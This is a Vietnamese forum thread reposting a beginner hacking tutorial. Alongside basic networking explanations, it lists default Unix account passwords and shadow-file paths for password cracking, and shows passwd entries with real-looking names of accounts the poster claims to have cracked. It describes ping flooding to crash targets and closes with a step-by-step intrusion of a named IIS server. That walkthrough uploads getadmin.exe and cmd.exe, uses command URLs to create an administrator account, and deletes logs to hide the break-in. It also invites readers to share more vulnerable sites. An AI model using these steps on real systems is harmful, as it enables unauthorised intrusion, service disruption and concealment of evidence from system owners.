Diễn Đàn » Hướng Dẫn Lập trình

Hack và một số kỹ thuật hack

52 trả lời, 3.599 lượt xem — Trang 1 / 2
Mình không nghĩ rằng mình xúi các bạn học làm hacker đâu. Mà Hacker cũng đâu phải ai cũng đi phá phách đâu; có những hacker "mũ trắng" là những chuyên gia bảo mật có tiếng, hoặc làm công việc cảnh báo các lỗ hỗng bảo mật trên các hệ thống.
Theo mình nghĩ, biết được cách hacker xâm nhập vào hệ thống như thế nào thì sẽ chủ động hơn trong việc phòng chống, vả lại trong kỹ thuật hack cũng có nhiều điều rất hay để học, thí dụ như kiến thức về mạng nội bộ này, mạng internet này... Do đó mình thử post một số bài sưu tập được từ Website VietHacker để các bạn nào thích thì tham khảo, không thích thì thôi. Các Moderator nêú thấy việc này là vi phạm nội quy diễn đàn thì cứ báo cho mình biết và del bài đi cũng được, không sao.
Sau đây là một số bài đầu tiên:
Chán đời đi lang thang !
Đăng nhập để trả lời
0
Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 1 [10/11/2004 3:02:00 PM]

Nhiều bạn Newbie có hỏi tôi “ Hack là như thế nào ? Làm sao để hack ?” Nhưng các bạn đã quên mất một điều là các bạn cần phảI có kiến thức một cách tổng quát , hiểu các thuật ngữ mà những người rành về mạng hay sử dụng . Riêng tôi thì chưa thật giỏi bao nhiêu nhưng qua nghiên cứu tôi cũng đã tổng hợp được một số kiến thức cơ bản , muốn chia sẻ cho tất cả các bạn , nhằm cùng các bạn học hỏi .
Tôi sẽ không chịu trách nhiệm nếu các bạn dùng nó để quậy phá người khác . Các bạn có thể copy hoặc post trong các trang Web khác nhưng hãy điền tiên tác giả ở dưới bài , tôn trọng bài viết này cũng chính là tôn trọng tôi và công sức của tôi , đồng thời cũng tôn trọng chính bản thân các bạn . Trong này tôi cũng có chèn thêm một số cách hack , crack và ví dụ căn bản , các bạn có thể ứng dụng thử và nghiên cứu đọc nó để hiểu thêm , rồi khi bắt gặp một từ mà các bạn không hiểu thì hãy đọc bài này để biết , trong này tôi có sử dụng một số ý của bài viết mà tôi thấy rất hay từ trang Web của HVA , và các trang Web khác mà tôi đã từng ghé thăm . Xin cảm ơn những tác giả đã viết những bài ấy . Bây giờ là vấn đề chính .

1 . ) Ta cần những gì để bắt đầu?

Có thể nhiều bạn không đồng ý với tôi nhưng cách tốt nhất để thực tập là các bạn hãy dùng HĐH Window 9X , rồI đến các cái khác mạnh hơn đó là Linux hoặc Unix , dướI đây là những cái bạn cần có :
+ Một cái OS ( có thể là DOS , Window 9X , Linux , Unit ….)
+ Một cái trang Web tốt ( HVA chẳng hạn hi`hi` greenbiggrin.gif greenbiggrin.gif )
+ Một bộ trình duyệt mạng tốt ( là Nescape , IE , nhưng tốt nhất có lẽ là Gozzila )
+ Một công cụ chat tốt ( mIRC ,Yahoo Mass …..)
+ Telnet ( hoặc những cái tương tự như nmap …)
+ Cái quan trọng nhất mà bất cứ ai muốn trở thành một hacker là đều phảI có một chút kiến thức về lập trình ( C , C++ , Visual Basic , Pert …..)

Chán đời đi lang thang !
Đăng nhập để trả lời
0
2 . ) Thế nào là một địa chỉ IP ?

_ Địa chỉ IP được chia thành 4 số giới hạn từ 0 - 255. Mỗi số được lưu bởi 1 byte - > !P có kicks thước là 4byte, được chia thành các lớp địa chỉ. Có 3 lớp là A, B, và C. Nếu ở lớp A, ta sẽ có thể có 16 triệu điạ chỉ, ở lớp B có 65536 địa chỉ. Ví dụ: Ở lớp B với 132.25,chúng ta có tất cả các địa chỉ từ 132.25.0.0 đến 132.25.255.255. Phần lớn các địa chỉ ở lớp A llà sở hữu của các công ty hay của tổ chức. Một ISP thường sở hữu một vài địa chỉ lớp B hoặc C. Ví dụ: Nếu địa chỉ IP của bạn là 132.25.23.24 thì bạn có thể xác định ISP của bạn là ai. ( có IP là 132.25.x.)
_ IP là từ viết tắt của Internet Protocol, trên Internet thì địa chỉ IP của mỗI người là duy nhất và nó sẽ đạI diện cho chính ngườI đó, địa chỉ IP được sử dụng bởi các máy tính khác nhau để nhận biết các máy tính kết nối giữa chúng. Đây là lí do tại sao bạn lại bị IRC cấm, và là cách người ta tìm ra IP của bạn.
Địa chỉ IP có thể dễ dàng phát hiện ra, người ta có thể lấy được qua các cách sau :
+ bạn lướt qua một trang web, IP của bạn bị ghi lại
+ trên IRC, bất kì ai cũng có thể có IP của bạn
+ trên ICQ, mọi người có thể biết IP của bạn, thậm chí bạn chọn ``do not show ip`` người ta vẫn lấy được nó
+ nếu bạn kết nối với một ai đó, họ có thế gõ ``systat –n ``, và biết được ai đang kết nối đên họ
+ nếu ai đó gửi cho bạn một email với một đoạn mã java tóm IP, họ cũng có thể tóm được IP của bạn
( Tài liệu của HVA )
Chán đời đi lang thang !
Đăng nhập để trả lời
0
3 . ) Làm thế nào để biết được địa chỉ IP của mình ?

Run đánh lệnh “winipcfg” ._ Trong Window : vào Start
_ Trong mIRC : kết nốI đến máy chủ sau đó đánh lệnh “/dns ”
_ Thông qua một số trang Web có hiển thị IP .

4 . ) IP Spoofing là gì ?

_ Một số IP có mục đích để xác định một thiết bị duy nhất trên thế giới. Vì vậy trên mạng một máy chủ có thể cho phép một thiết bị khác trao đổi dữ liệu qua lại mà không cần kiểm tra máy chủ.
Tuy nhiên có thể thay đổi IP của bạn, nghĩa là bạn có thể gởi một thông tin giả đến một máy khác mà máy đó sẽ tin rằng thông tin nhận được xuất phát từ một máy nào đó (tất nhiên là không phải máy của bạn). Bạn có thể vượt qua máy chủ mà không cần phải có quyền điều khiến máy chủ đó. Điều trở ngại là ở chỗ những thông tin phản hồi từ máy chủ sẽ được gởi đến thiết bị có IP mà chúng ta đã giả mạo. Vì vậy có thể bạn sẽ không có được sự phản hồi những thông tin mà mình mong muốn. Có lẽ điều duy nhất mà spoof IP có hiệu quả là khi bạn cần vượt qua firewall, trộm account và cần dấu thông tin cá nhân!
( Tài liệu của HVA )

Chán đời đi lang thang !
Đăng nhập để trả lời
0
5 . ) Trojan / worm / virus / logicbomb là cái gì ?

_ Trojan : Nói cho dễ hiểu thì đây là chương trình điệp viên được cài vào máy của ngườI khác để ăn cắp nhũng tài liệu trên máy đó gửI về cho chủ nhân của nó , Cái mà nó ăn cắp có thể là mật khẩu , accourt , hay cookie ………. tuỳ theo ý muốn của ngườI cài nó .
_ virus : Nói cho dễ hiểu thì đây là chương trình vớI những mã đặc biệt được cài ( hoặc lây lan từ máy khác ) lên máy của nạn nhân và thực hiện những yêu cầu của mã đó , đa số virut được sử dụng để phá hoạI dữ liệu hoặc phá hoạI máy tính .
_ worm : Đây là chương trình độc lập có thể tự nhân bản bản thân nó và lây lan khắp bên trong mạng .Cũng giống như Virut , nó cũng có thể phá hoạI dữ liệu , hoặc nó có thể phá hoạI bên trong mạng , nhiều khi còn làm down cả mang đó .
_ logicbomb : Là chương trình gửi một lúc nhiều gói dữ liệu cho cùng một địa chỉ , làm ngập lụt hệ thống , tắt nghẽn đường truyền ( trên server ) hoặc dùng làm công cụ để “khủng bố” đốI phương ( bom Mail ) ;) .
Chán đời đi lang thang !
Đăng nhập để trả lời
0
6 . ) PGP là gì ?

_ PGP là viết tắt của từ “Pretty Good Privacy” , đây là công cụ sử dụng sự mã hoá chìa khoá công cộng để bảo vệ những hồ sơ Email và dữ liệu , là dạng mã hoá an toàn cao sử dụng phần mềm cho MS_DOS , Unix , VAX/VMS và cho những dạng khác .

7 . ) Proxy là gì ?

_Proxy cung cấp cho người sử dụng truy xuất internet với những host đơn. Những proxy server phục vụ những nghi thức đặt biệt hoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host. Những chương trình client của người sử dung sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng cần giao tiếp. Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp đến những yêu cầu từ clientđến server, cũng như đáp ứng những yêu cầu của server đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và client .
_ Proxy cho user truy xuất dịch vụ trên internet theo nghĩa trực tiếp. Với dual host homed cần phải login vào host trước khi sử dụng dịch vụ nào trên internet. Điều này thường không tiện lợi, và một số người trể nên thất vọng khi họ có cảm giác thông qua firewall, với proxy nó giải quyết được vấn đề này. Tất nhiên nó còn có những giao thức mới nhưng nói chung nó cũng khá tiện lợi cho user. Bởi vì proxy cho phép user truy xuất những dịch vụ trên internet từ hệ thống cá nhân của họ, vì vậy nó không cho phép packet đi trực tiếp giữa hệ thống sử dụng và internet. đường đi là giáng tiếp thông qua dual homed host hoặc thông qua sự kết hợp giữa bastion host và screening rounter.

( Bài viết của Z3RON3 – tài liệu của HVA )
Chán đời đi lang thang !
Đăng nhập để trả lời
0
8 . ) Unix là gì ?

_ Unix là một hệ điều hành ( giống Window ) .Nó hiện là hệ điều hành mạnh nhất , và thân thiết với các Hacker nhất . Nếu bạn đã trở thành một hacker thật sự thì HĐH này không thể thiếu đối vớI bạn . Nó được sử dụng hỗ trợ cho lập trình ngôn ngữ C .

9 . ) Telnet là gì ?

_ Telnet là một chương trình cho phép ta kết nốI đến máy khác thông qua cổng ( port ) . MọI máy tính hoặc máy chủ ( server ) đều có cổng , sau đây là một số cổng thông dụng :
+ Port 21: FTP
+ Port 23: Telnet
+ Port 25: SMTP (Mail)
+ Port 37: Time
+ Port 43: Whois
_ Ví dụ : bạn có thể gọI Telnet để kết nốI đến mail.virgin.net trên port 25 .
Chán đời đi lang thang !
Đăng nhập để trả lời
0
10 . ) Làm thế nào để biết mình đã Telnet đến hệ thống Unix ?
_ Ok , tôi sẽ nói cho bạn biết làm sao một hệ thống Unix có thể chào hỏI bạn khi bạn kết nối tới nó . Đầu tiên , khi bạn gọi Unix , thông thường nó sẽ xuất hiện một dấu nhắc : “ Log in : ” , ( tuy nhiên , chỉ với như vậy thì cũng chưa chắc chắn đây là Unix được ngoạI trừ chúng xuất hiện thông báo ở trước chữ “ log in :” như ví dụ : Welcome to SHUnix. Please log in ….)
Bây giờ ta đang ở tạI dấu nhắc “log in” , bạn cần phảI nhập vào một account hợp lệ . Một account thông thường gồm có 8 đặc tính hoặc hơn , sau khi bạn nhập account vào , bạn sẽ thấy có một mật khẩu , bạn hãy thử nhập Default Password thử theo bảng sau :

Account-------------------------Default Password


Root----------------------------------------------- Root
Sys------------------------------------------------ Sys / System / Bin
Bin------------------------------------------------ -Sys / Bin
Mountfsy------------------------------------------M ountfsys
Nuuc----------------------------------------------- Anon
Anon----------------------------------------------- Anon
User----------------------------------------------- -User
Games---------------------------------------------G ames
Install-------------------------------------------- --Install
Demo----------------------------------------------- Demo
Guest---------------------------------------------- Guest

Chán đời đi lang thang !
Đăng nhập để trả lời
0
11 . ) shell account là cái gì ?

_ Một shell account cho phép bạn sử dụng máy tính ở nhà bạn như thiết bị đầu cuốI ( terminal ) mà vớI nó bạn có thể đánh lệnh đến một máy tính đang chạy Unix , “Shell” là chương trình có nhiệm vụ dịch những ký tự của bạn gửi đến rồI đưa vào thực hiện lệnh của chương trình Unix . VớI một shell account chính xác bạn có thể sử dụng được một trạm làm việc mạnh hơn nhiều so vớI cái mà bạn có thể tưởng tượng đến được .
Bạn có thể lấy được “shell account” miễn phí tạI trang Web www.freeshell.com tuy nhiên bạn sẽ không sử dụng được “telnet” cho đến khi bạn trả tiền cho nó .

12 . ) Làm cách nào để bạn có thể crack Unix account passwords ?

_ Rất đơn giản , tuy nhiên cách mà tôi nói vớI các bạn ở đây “lạc hậu” rồI , các bạn có thể crack được chúng nếu các bạn may mắn , còn không thì các bạn đọc để tham khảo .
_ Đầu tiên bạn hãy đăng nhập vào hệ thống có sử dụng Unix như một khách hàng hoặc một ngườI khách ghé thăm , nếu may mắn bạn sẽ lấy được mật khẩu được cất dấu trong những hệ thống chuẩn như :

/etc/passwd

mỗi hàng trong một hồ sơ passwd có một tài khoản khác nhau , nó giống như hàng này :

userid:password:userid#:groupid#:GECOS field:home dir:shell

trong đó :
+ userid = the user id name : tên đăng nhập : có thể là một tên hoặc một số .
+ password : mật mã . Dùng để làm gì hẳn các bạn cũng biết rồI .
+ userid# : là một số duy nhất đựơc thông báo cho ngườI đăng ký khi họ đăng ký mớI ở lần đầu tiên .
+ groupid# : tương tự như userid# , nhưng nó được dùng cho những ngườI đang ở trong nhóm nào đó ( như nhóm Hunter Buq của HVA chẳng hạn )
+ GECOS FIELD : đây là nơi chứa thông tin cho ngườI sử dụng , trong đó có họ tên đầy đủ , số điện thoại , địa chỉ v.v…. . Đây cũng là nguồn tốt để ta dễ dàng crack một mật khẩu .
+ home dir : là thư mục ghi lạI hoạt động của người khách khi họ ghé thăm ( giống như mục History trong IE vậy )
+ Shell : đây là tên của shell mà nó tự động bắt đầu khi ta login .
_ Hãy lấy file password , lấy file text đã mã hoá về , sau đó bạn dùng chương trình ``CrackerJack`` hoặc ``John the Ripper`` để crack .
_ Các bạn thấy cũng khá dễ phảI không ? Sai bét , không dễ dàng và may mắn để bạn có thể crack được vì hầu hết bây giờ họ cất rất kỹ , hãy đọc tiếp bạn sẽ thấy khó khăn chỗ nào .
Chán đời đi lang thang !
Đăng nhập để trả lời
0
13 . ) shadowed password là cái gì ?

_ Một shadowed password được biết đến là trong file Unix passwd , khi bạn nhập một mật khẩu , thì ngườI khác chỉ thấy được trình đơn của nó ( như ký hiệu “ X ” hoặc “ * ” ) . Cái này thông báo cho bạn biết là file passwd đã được cất giữ ở nơi khác , nơi mà một ngườI sử dụng bình thường không thể đến được . Không lẽ ta đành bó tay , dĩ nhiên là đốI vớI một hacker thì không rùi , ta không đến được trực tiếp file shadowed password thì ta hãy tìm file sao lưu của nó , đó là file Unshadowed .
Những file này trên hệ thống của Unix không cố định , bạn hãy thử vớI lần lượt những đường dẫn sau :

CODE
AIX 3 /etc/security/passwd !
or /tcb/auth/files/ /
A/UX 3.0s /tcb/files/auth/?/ *
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/ /
SunOS4.1+c2 /etc/security/passwd.adjunct =##username
SunOS 5.0 /etc/shadow
maps/tables/whatever >
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb =20


Trước dấu “ / ”đầu tiên của một hàng là tên của hệ thống tương ứng , hãy căn cứ vào hệ thông thật sự bạn muốn lấy rồI lần theo đường dẫn phía sau dấu “/”đầu tiên .
Và cuốI cùng là những account passwd mà tôi từng crack được , có thể bây giờ nó đã hết hiệu lực rồI :

CODE
arif:x:1569:1000:Nguyen Anh Chau:/udd/arif:/bin/ksh
arigo:x:1570:1000:Ryan Randolph:/udd/arigo:/bin/ksh
aristo:x:1573:1000:To Minh Phuong:/udd/aristo:/bin/ksh
armando:x:1577:1000:Armando Huis:/udd/armando:/bin/ksh
arn:x:1582:1000:Arn mett:/udd/arn:/bin/ksh
arne:x:1583:1000:Pham Quoc Tuan:/udd/arne:/bin/ksh
aroon:x:1585:1000:Aroon Thakral:/udd/aroon:/bin/ksh
arozine:x:1586:1000: Mogielnicki:/udd/arozine:/bin/bash
arranw:x:1588:1000:Arran Whitaker:/udd/arranw:/bin/ksh


Để bảo đảm sự bí mật nên pass của họ tôi xoá đi và để vào đó là ký hiệu “ x ” , các bạn hãy tìm hiểu thông tin có được từ chúng xem
Chán đời đi lang thang !
Đăng nhập để trả lời
0
Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 2 [10/11/2004 3:11:00 PM]
Vitual port ( cổng ảo ) là 1 số tự nhiên đựợc gói ở trong TCP(Tranmission Control Protocol) và UDP(User Diagram Protocol) header. Như mọi nguòi đã biết, Windows có thể chạy nhiều chương trình 1 lúc, mỗi chương trình này có 1 cổng riêng dùng để truyền và nhận dữ liệu.
Ví dụ 1 máy có địa chỉ IP là 127.0.0.1 chạy WebServer, FTP_Server, POP3 server, etc, những dịch vụ này đều đuọc chạy trên 1 IP address là 127.0.0.1, khi một gói tin đuọc gửi đến làm thế nào máy tính của chúng ta phân biệt được gói tin này đi vào dịch vụ nào WebServer hay FTP server hay SM! TP? Chính vì thế Port xuất hiện. Mỗi dịch vụ có 1 số port mặc định, ví dụ FTP có port mặc định là 21, web service có port mặc định là 80, POP3 là 110, SMTP là 25 vân vân....

Người quản trị mạng có thể thay đổi số port mặc định này, nếu bạn ko biết số port trên một máy chủ, bạn ko thể kết nối vào dịch vụ đó được. Chắc bạn đã từng nghe nói đến PORT MAPPING nhưng có lẽ chưa biết nó là gì và chức năng thế nào. Port mapping thực ra đơn giản chỉ là quá trình chuyển đổi số port mặc định của một dịch vụ nào đó đến 1 số khác. Ví dụ Port mặc định của WebServer là 80, nhưng thỉnh thoảng có lẽ bạn vẫn thấy http://www.xxx.com:8080 , 8080 ở đây chính là số port của host xxx nhưng đã đuợc nguòi quản trị của host này ``map`` từ 80 thành 8080.

( Tài liệu của HVA )
Chán đời đi lang thang !
Đăng nhập để trả lời
0
15 . ) DNS là gì ?

_ DNS là viết tắt của Domain Name System. Một máy chủ DNS đợi kết nối ở cổng số 53, có nghĩa là nếu bạn muốn kết nối vào máy chủ đó, bạn phải kết nối đến cổng số 53. Máy chủ chạy DNS chuyển hostname bằng các chữ cái thành các chữ số tương ứng và ngược lại. Ví dụ: 127.0.0.1 -- > localhost và localhost--- > 127.0.0.1 .

( Tài liệu của HVA )

16 . ) Đôi điều về Wingate :

_ WinGate là một chương trình đơn giản cho phép bạn chia các kết nối ra. Thí dụ: bạn có thể chia sẻ 1 modem với 2 hoặc nhiều máy . WinGate dùng với nhiều proxy khác nhau có thể che giấu bạn .
_ Làm sao để Wingate có thể che dấu bạn ? Hãy làm theo tôi : Bạn hãy telnet trên cổng 23 trên máy chủ chạy WinGate telnet proxy và bạn sẽ có dấu nhắc WinGate > . Tại dấu nhắc này bạn đánh vào tên server, cùng một khoảng trống và cổng bạn muốn kết nối vào. VD :

CODE
telnet wingate.net
WinGate > victim.com 23


ta telnet đến cổng 23 vì đây là cổng mặc định khi bạn cài Wingate . lúc này IP trên máy mà victim chộp được của ta là IP của máy chủ chứa Wingate proxy đó .
_ Làm sao để tìm Wingate ?
+ Nếu bạn muốn tìm IP WinGates tĩnh (IP không đổi) thì đến yahoo hay một trang tìm kiếm cable modem. Tìm kiếm cable modems vì nhiều người dùng cable modems có WinGate để họ có thể chia sẻ đường truyền rộng của nó cable modems cho những máy khác trong cùng một nhà . Hoặc bạn có thể dùng Port hay Domain scanners và scan Port 1080 .
+ Để tìm IP động (IP thay đổi mỗi lần user kết nối vào internet) của WinGates bạn có thể dùng Domscan hoặc các chương trình quét khác . Nếu dùng Domscan bạn hãy nhập khoảng IP bất kỳ vào box đầu tiên và số 23 vào box thứ 2 . Khi đã có kết quả , bạn hãy thử lần lượt telnet đến các địa chỉ IP tìm đựơc ( đã hướng dẫn ở trên ), nếu nó xuất hiện dấu “Wingate > ” thì bạn đã tìm đúng máy đang sử dụng Wingate rồI đó .
+ Theo kinh nghiệm của tôi thì bạn hãy down wingatescanner về mà sài , nó có rất nhièu trên mạng .

Chán đời đi lang thang !
Đăng nhập để trả lời
0
17 . ) Đôi điều về Traceroute :

_ Traceroute là một chương trình cho phép bạn xác định được đường đi của các gói packets từ máy bạn đến hệ thống đích trên mạng Internet.
_ bạn hãy xem VD sau :

CODE
C:\windows > tracert 203.94.12.54

Tracing route to 203.94.12.54 over a maximum of 30 hops

1 abc.netzero.com (232.61.41.251) 2 ms 1 ms 1 ms
2 xyz.Netzero.com (232.61.41.0) 5 ms 5 ms 5 ms
3 232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms
4 we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms
5 isp.net.ny (196.23.0.0) 562 ms 596 ms 600 ms
6 196.23.0.25 (196.23.0.25) 1195 ms1204 ms
7 backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms
8 asianet.com (202.12.32.10) 1210 ms1239 ms1211 ms
9 south.asinet.com (202.10.10.10) 1069 ms1087 ms1122 ms
10 backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061 ms
11 newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms
12 newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms
13 mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms


Tôi cần biết đường đi từ máy tôi đến một host trên mạng Internet có địa chỉ ip là 203.94.12.54. Tôi cần phải tracert đến nó! Như bạn thấy ở trên, các gói packets từ máy tôi muốn đến được 203.94.12.54 phải đi qua 13 hops(mắc xích) trên mạng. Đây là đưòng đi của các gói packets .
_ Bạn hãy xem VD tiếp theo :

CODE
host2 # traceroute xyz.com

traceroute to xyz.com (202.xx.12.34), 30 hops max, 40 byte packets
1 isp.net (202.xy.34.12) 20ms 10ms 10ms
2 xyz.com (202.xx.12.34) 130ms 130ms 130ms


+ Dòng đầu tiên cho biết hostname và địa chỉ IP của hệ thống đích. Dòng này còn cho chúng ta biết thêm giá trị TTL<=30 và kích thước của datagram là 40 bytes(20-bytes IP Header + 8-bytes UDP Header + 12-bytes user data).
+ Dòng thứ 2 cho biết router đầu tiên nhận được datagram là 202.xy.34.12, giá trị của TTL khi gởi đến router này là 1. Router này sẽ gởi trở lại cho chương trình traceroute một ICMP message error ``Time Exceeded``. Traceroute sẽ gởi tiếp một datagram đến hệ thống đích.
+ Dòng thứ 3, xyz.com(202.xx.12.34) nhận được datagram có TTL=1(router thứ nhất đã giảm một trước đó - TTL=2-1=1). Tuy nhiên, xyz.com không phải là một router, nó sẽ gởi trở lại cho traceroute một ICMP error message ``Port Unreachable``. Khi nhận được ICMP message này, traceroute sẽ biết được đã đến được hệ thống đích xyz.com và kết thúc nhiệm vụ tại đây.
+ Trong trường hợp router không trả lời sau 5 giây, traceroute sẽ in ra một dấu sao ``*``(không biết) và tiếp tục gởi datagram khác đến host đích!
_Chú ý:
Trong windows: tracert hostname
Trong unix: traceroute hostname

( Tài liệu của viethacker.net )
Chán đời đi lang thang !
Đăng nhập để trả lời
0
18 . ) Ping và cách sử dụng :

_ Ping là 1 khái niệm rât đơn giản tuy nhiên rất hữu ích cho việc chẩn đoán mạng. Tiểu sử của từ ``ping`` như sau: Ping là tiếng động vang ra khi 1 tàu ngầm muốn biết có 1 vật thể khác ở gần mình hay ko, nếu có 1 vật thể nào đó gần tàu ngầm tiếng sóng âm này sẽ va vào vật thể đó và tiếng vang lại sẽ là ``pong`` vậy thì tàu ngầm đó sẽ biết là có gì gần mình.
_Trên Internet, khái niệm Ping cũng rất giống với tiểu sử của nó như đã đề cập ở trên. Lệnh Ping gửi một gói ICMP (Internet Control Message Protocol) đến host, nếu host đó ``pong`` lại có nghĩa là host đó tồn tại (hoặc là có thể với tới đựoc). Ping cũng có thể giúp chúng ta biêt được luợng thời gian một gói tin (data packet) đi từ máy tính của mình đến 1 host nào đó.
_Ping thật dễ dàng, chỉ cần mở MS-DOS, và gõ ``ping địa_chỉ_ip``, mặc định sẽ ping 4 lần, nhưng bạn cũng có thể gõ

CODE
``ping ip.address -t``


Cách này sẽ làm máy ping mãi. Để thay đổi kích thước ping làm như sau:

CODE
``ping -l (size) địa_chỉ_ip ``


Cái ping làm là gửi một gói tin đến một máy tính, sau đó xem xem mất bao lâu gói tin rồi xem xem sau bao lâu gói tin đó quay trở lại, cách này xác định được tốc độ của kết nối, và thời gian cần để một gói tin đi và quay trở lại và chia bốn (gọi là ``trip time``). Ping cũng có thể được dùng để làm chậm đi hoặc đổ vỡ hệ thống bằng lụt ping. Windows 98 treo sau một phút lụt ping (Bộ đệm của kết nối bị tràn – có qua nhiều kết nối, nên Windows quyết định cho nó đi nghỉ một chút). Một cuộc tấn công “ping flood” sẽ chiếm rất nhiều băng thông của bạn, và bạn phải có băng thông lớn hơn đối phương ( trừ khi đối phương là một máy chạy Windows 98 và bạn có một modem trung bình, bằng cách đó bạn sẽ hạ gục đối phương sau xấp xỉ một phút lụt ping). Lụt Ping không hiệu quả lắm đổi với những đối phương mạnh hơn một chút. trừ khi bạn có nhiều đường và bạn kiểm soát một số lượng tương đối các máy chủ cùng ping mà tổng băng thông lơn hơn đối phương.
Chú ý: option –t của DOS không gây ra lụt ping, nó chỉ ping mục tiêu một cách liên tục, với những khoảng ngắt quãng giữa hai lần ping liên tiếp. Trong tất cả các hệ Unix hoặc Linux, bạn có thể dùng ping -f để gây ra lụt thực sự. Thực tế là phải ping -f nếu bạn dùng một bản tương thích POSIX (POSIX - Portable Operating System Interface dựa trên uniX), nếu không nó sẽ không phải là một bản Unix/Linux thực sự, bởi vậy nếu bạn dùng một hệ điều hành mà nó tự cho nó là Unix hay Linux, nó sẽ có tham số -f.

( Tài liệu của HVA và viethacker.net )
Chán đời đi lang thang !
Đăng nhập để trả lời
0
19 . ) Kỹ thuật xâm nhập Window NT từ mạng Internet :

_ Đây là bài học hack đầu tiên mà tôi thực hành khi bắt đầu nghiên cứu về hack , bây giờ tôi sẽ bày lại cho các bạn . bạn sẽ cần phảI có một số thờI gian để thực hiện được nó vì nó tuy dễ nhưng khó . Ta sẽ bắt đầu :
_ Đầu tiên bạn cần tìm một server chạy IIS :
_ Tiếp đến bạn vào DOS và đánh ` FTP `. VD :

c:\Ftp www.dodgyinc.com

( trang naỳ khi tôi thực hành thì vẫn còn làm được , bây giờ không biết họ đã fix chưa , nếu bạn nào có trang nào khác thì hãy post lên cho mọI ngườI cùng làm nhé )
Nếu connect thành công , bạn sẽ thấy một số dòng tương tự như thế này :

CODE
Connected to www.dodgyinc.com.
220 Vdodgy Microsoft FTP Service (Version 3.0).
User (www.dodgyinc.com:(none)):


Cái mà ta thấy ở trên có chứa những thông tin rất quan trọng , nó cho ta biết tên Netbios của máy tính là “ Vdodgy ” . Từ điều này bạn có thể suy diễn ra tên mà được sử dụng cho NT để cho phép ta có thể khai thác , mặc định mà dịch vụ FTP gán cho nó nếu nó chưa đổi tên sẽ là “IUSR_VDODGY” . Hãy nhớ lấy vì nó sẽ có ích cho ta . Nhập ``anonymous” trong user nó sẽ xuất hiện dòng sau :

CODE
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:


Bây giờ passwd sẽ là bất cứ gì mà ta chưa biết , tuy nhiên , bạn hãy thử đánh vào passwd là “anonymous” . Nếu nó sai , bạn hãy log in lạI thiết bị FTP , bạn hãy nhớ là khi ta quay lạI lần này thì không sử dụng cách mạo danh nữa ( anonymous ) mà sử dụng “`Guest” , thử lại passwd với “guest” xem thế nào .
Bây giờ bạn hãy đánh lệnh trong DOS :

CODE
Cd /c


Và sẽ nhìn thấy kết quả nếu như bạn đã xâm nhập thành công , bây giờ bạn hãy nhanh chóng tìm thư mục `cgi-bin` . Nếu như bạn may mắn , bạn sẽ tìm được dễ dàng vì thông thường hệ thống quản lý đã đặt `cgi-bin` vào nơi mà ta vừa xâm nhập để cho các ngườI quản lý họ dễ dàng điều khiển mạng hơn . thư mục cgi-bin có thể chứa các chương trình mà bạn có thể lợi dụng nó để chạy từ trình duyệt Web của bạn . Ta hãy bắt đầu “quậy” nào greenbiggrin.gif greenbiggrin.gif .
_ Đầu tiên , bạn hãy chuyển tớ thư mục cgi-bin và sử dụng lệnh “Binary” ( có thể các bạn không cần dùng lệnh này ) , sau đó bạn dánh tiếp lệnh “put cmd.exe” . Tiếp theo là bạn cần có file hack để cài vào thư mục này , hãy tìm trên mạng để lấy 2 file quan trọng nhất đó là `getadmin.exe` và `gasys.dll` . Download chúng xuống , một khi bạn đã có nó hãy cài vào trong thư mục cgi-bin . Ok , coi như mọI việc đã xong , bạn hãy đóng cửa sổ DOS .
Bây giờ bạn hãy đánh địa chỉ sau lên trình duyệt của bạn :

http://www.dodgyinc.com/cgi-bin/ge tadmin.exe?IUSR_VDODGY

Sau vài giây bạn sẽ có được câu trả lời như ở dướI đây :

CODE
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
Congratulations , now account IUSR_VDODGY have administrator rights!


Thế là bạn đã mạo danh admin để xâm nhập hệ thống , việc cần thiết bây giờ là bạn hãy tự tạo cho mình một account , hãy đánh dòng sau trên IE :

http://www.dodgyinc.com/cgi- bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%2 0hacker%20toilahacker%20/add

dòng lệnh trên sẽ tạo cho bạn một account login với user : anhdenday và passwd : toilahackerBây giờ bạn hãy là cho user này có account của admin , bạn chỉ cần đánh lên IE lệnh :

http://www.dodgyinc.com/cgi-bin/ge tadmin.exe?anhdenday

Vậy là xong rùi đó , bạn hãy disconnect và đến start menu - > find rồi search computer `www.dodgyinc.com`. Khi tìm thấy , bạn vào explore , explore NT sẽ mở ra bạn hay nhập user và passwd để mở nó ( của tôi là user : anhdenday và passwd : toilahacker ) .

Có một vấn đề là khi bạn xâm nhập hệ thống này thì sẽ bị ghi lại , do đó để xoá dấu vết bạn hãy vào `Winnt\system32\logfiles` mở file log đó rồI xoá những thông tin liên quan đến bạn , rồI save chúng . Nếu bạn muốn lấy một thông báo gì về việc chia sẽ sự xâm nhập thì bạn hãy thay đổi ngày tháng trên máy tính vớI URL sau :

http://www.dodgyinc.com/cgi-bin/cm d.exe?/c%20date%2030/04/03

